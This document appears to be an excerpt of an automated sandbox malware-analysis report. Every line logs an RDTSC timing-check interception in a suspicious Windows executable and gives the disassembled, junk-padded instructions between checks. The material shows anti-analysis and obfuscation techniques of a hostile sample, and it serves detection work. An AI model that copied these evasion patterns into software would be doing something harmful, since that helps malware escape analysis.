Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D168B1 second address: D168BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F28E4BE5836h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D18C2D second address: D18C63 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F28E4D0ABB8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F28E4D0ABBDh 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 pushad 0x00000017 jmp 00007F28E4D0ABC3h 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D18DA5 second address: D18DBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F28E4BE583Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D18DBB second address: D18E82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007F28E4D0ABBEh 0x00000011 mov eax, dword ptr [eax] 0x00000013 jnp 00007F28E4D0ABC1h 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d js 00007F28E4D0ABC2h 0x00000023 je 00007F28E4D0ABBCh 0x00000029 jne 00007F28E4D0ABB6h 0x0000002f pop eax 0x00000030 mov dword ptr [ebp+122D18D8h], ebx 0x00000036 push 00000003h 0x00000038 adc ecx, 7181F6B5h 0x0000003e push 00000000h 0x00000040 mov esi, dword ptr [ebp+122D2A34h] 0x00000046 push 00000003h 0x00000048 mov edx, ebx 0x0000004a call 00007F28E4D0ABB9h 0x0000004f pushad 0x00000050 push eax 0x00000051 jmp 00007F28E4D0ABC9h 0x00000056 pop eax 0x00000057 jmp 00007F28E4D0ABC8h 0x0000005c popad 0x0000005d push eax 0x0000005e push edi 0x0000005f pushad 0x00000060 ja 00007F28E4D0ABB6h 0x00000066 push ebx 0x00000067 pop ebx 0x00000068 popad 0x00000069 pop edi 0x0000006a mov eax, dword ptr [esp+04h] 0x0000006e pushad 0x0000006f pushad 0x00000070 jmp 00007F28E4D0ABC6h 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D18E82 second address: D18EC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F28E4BE5838h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e mov eax, dword ptr [eax] 0x00000010 jmp 00007F28E4BE5847h 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c jmp 00007F28E4BE583Eh 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D18EC1 second address: D18EC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D190F9 second address: D19113 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4BE5840h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D3A3C6 second address: D3A3E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 jnc 00007F28E4D0ABDEh 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F28E4D0ABB6h 0x00000014 jmp 00007F28E4D0ABBFh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D0DE68 second address: D0DE71 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D0DE71 second address: D0DE77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D0DE77 second address: D0DE9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jg 00007F28E4BE5840h 0x0000000b popad 0x0000000c pushad 0x0000000d push ecx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 pop ecx 0x00000013 js 00007F28E4BE583Eh 0x00000019 push eax 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D0DE9E second address: D0DEA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D0DEA6 second address: D0DEAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D38297 second address: D3829B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D3829B second address: D382A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D385B5 second address: D385B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D385B9 second address: D385CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F28E4BE583Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D385CE second address: D385D4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D38752 second address: D38758 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D38758 second address: D38766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28E4D0ABBAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D38EC6 second address: D38EDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28E4BE583Fh 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D38EDA second address: D38EE4 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F28E4D0ABCBh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D38EE4 second address: D38EFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28E4BE583Fh 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D38EFA second address: D38F19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28E4D0ABC1h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D38F19 second address: D38F3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a jo 00007F28E4BE5836h 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F28E4BE5840h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D39070 second address: D39074 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D39074 second address: D3907E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D3907E second address: D39099 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push edi 0x00000008 pop edi 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F28E4D0ABBFh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D391EF second address: D391F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D391F9 second address: D39224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28E4D0ABBBh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F28E4D0ABC9h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D39224 second address: D39234 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F28E4BE5836h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D39234 second address: D39238 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D39238 second address: D3924D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F28E4BE583Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D3924D second address: D39251 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D2EB0A second address: D2EB35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F28E4BE5842h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c jns 00007F28E4BE583Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D2EB35 second address: D2EB39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D2EB39 second address: D2EB3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D39D43 second address: D39D4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D39ED6 second address: D39EE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F28E4BE5836h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D39EE0 second address: D39F1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F28E4D0ABB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F28E4D0ABC6h 0x00000012 pop eax 0x00000013 pushad 0x00000014 jmp 00007F28E4D0ABC8h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D39F1F second address: D39F5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F28E4BE5836h 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d jbe 00007F28E4BE583Eh 0x00000013 jl 00007F28E4BE5838h 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push edi 0x0000001e pop edi 0x0000001f jmp 00007F28E4BE5849h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D409DE second address: D409E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D3F790 second address: D3F794 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D3FF41 second address: D3FF46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D40FFA second address: D40FFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D458D1 second address: D458D6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D44DCD second address: D44E13 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F28E4BE583Eh 0x0000000c jmp 00007F28E4BE5846h 0x00000011 jng 00007F28E4BE5838h 0x00000017 popad 0x00000018 push ecx 0x00000019 jp 00007F28E4BE5838h 0x0000001f push eax 0x00000020 push edx 0x00000021 jc 00007F28E4BE5836h 0x00000027 push ebx 0x00000028 pop ebx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D44F87 second address: D44F8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D450F3 second address: D4511A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F28E4BE5836h 0x00000008 jmp 00007F28E4BE5849h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D4511A second address: D45120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D46010 second address: D4601B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D4601B second address: D46022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D46C7C second address: D46C80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D46CC4 second address: D46D01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4D0ABC5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F28E4D0ABC2h 0x0000000e popad 0x0000000f xchg eax, ebx 0x00000010 mov edi, dword ptr [ebp+122D2D28h] 0x00000016 push eax 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a jg 00007F28E4D0ABB6h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D46D01 second address: D46D05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D46EE1 second address: D46EE7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D46EE7 second address: D46EF9 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F28E4BE5838h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D47342 second address: D4734C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F28E4D0ABB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D47838 second address: D47889 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F28E4BE583Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c jmp 00007F28E4BE583Bh 0x00000011 push 00000000h 0x00000013 je 00007F28E4BE583Bh 0x00000019 mov esi, 02040858h 0x0000001e push 00000000h 0x00000020 or esi, dword ptr [ebp+122D2D54h] 0x00000026 mov dword ptr [ebp+122D3883h], edi 0x0000002c push eax 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F28E4BE5843h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D47889 second address: D47897 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F28E4D0ABB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D47897 second address: D4789B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D49340 second address: D493B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F28E4D0ABBEh 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F28E4D0ABB8h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 00000016h 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push edx 0x00000030 call 00007F28E4D0ABB8h 0x00000035 pop edx 0x00000036 mov dword ptr [esp+04h], edx 0x0000003a add dword ptr [esp+04h], 00000019h 0x00000042 inc edx 0x00000043 push edx 0x00000044 ret 0x00000045 pop edx 0x00000046 ret 0x00000047 mov dword ptr [ebp+122D37ACh], ebx 0x0000004d jng 00007F28E4D0ABBCh 0x00000053 mov dword ptr [ebp+122D195Bh], edi 0x00000059 push eax 0x0000005a push edx 0x0000005b jp 00007F28E4D0ABBCh 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D48A40 second address: D48A53 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F28E4BE5836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jnl 00007F28E4BE5836h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D49E5C second address: D49E60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D4A9DC second address: D4A9E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D4A9E0 second address: D4A9E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D4A9E4 second address: D4AA39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 je 00007F28E4BE5838h 0x0000000f push edi 0x00000010 pop edi 0x00000011 jmp 00007F28E4BE5844h 0x00000016 popad 0x00000017 nop 0x00000018 sbb edi, 2D0D31ADh 0x0000001e push 00000000h 0x00000020 mov si, di 0x00000023 push 00000000h 0x00000025 sbb esi, 7E86DEEAh 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F28E4BE5848h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D4AA39 second address: D4AA4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F28E4D0ABC1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D4B41A second address: D4B468 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov edi, esi 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F28E4BE583Eh 0x00000013 push ecx 0x00000014 pop edi 0x00000015 pop edi 0x00000016 pop esi 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007F28E4BE5838h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 0000001Bh 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 pushad 0x00000038 popad 0x00000039 push ebx 0x0000003a pop ebx 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D4B468 second address: D4B46F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D4FBB6 second address: D4FBC0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F28E4BE5836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D4D20B second address: D4D215 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F28E4D0ABB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D4FBC0 second address: D4FBD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F28E4BE5836h 0x0000000a jmp 00007F28E4BE583Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D4D215 second address: D4D231 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F28E4D0ABB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F28E4D0ABBCh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D4D231 second address: D4D23F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F28E4BE5836h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D51383 second address: D513A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 jmp 00007F28E4D0ABC0h 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D0F8E6 second address: D0F8EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D0F8EC second address: D0F8F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D52BF8 second address: D52C19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F28E4BE583Ch 0x0000000b popad 0x0000000c jbe 00007F28E4BE5842h 0x00000012 js 00007F28E4BE5836h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Y41xQGmT37.exe	RDTSC instruction interceptor: First address: D52C19 second address: D52C2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F28E4D0ABBFh 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
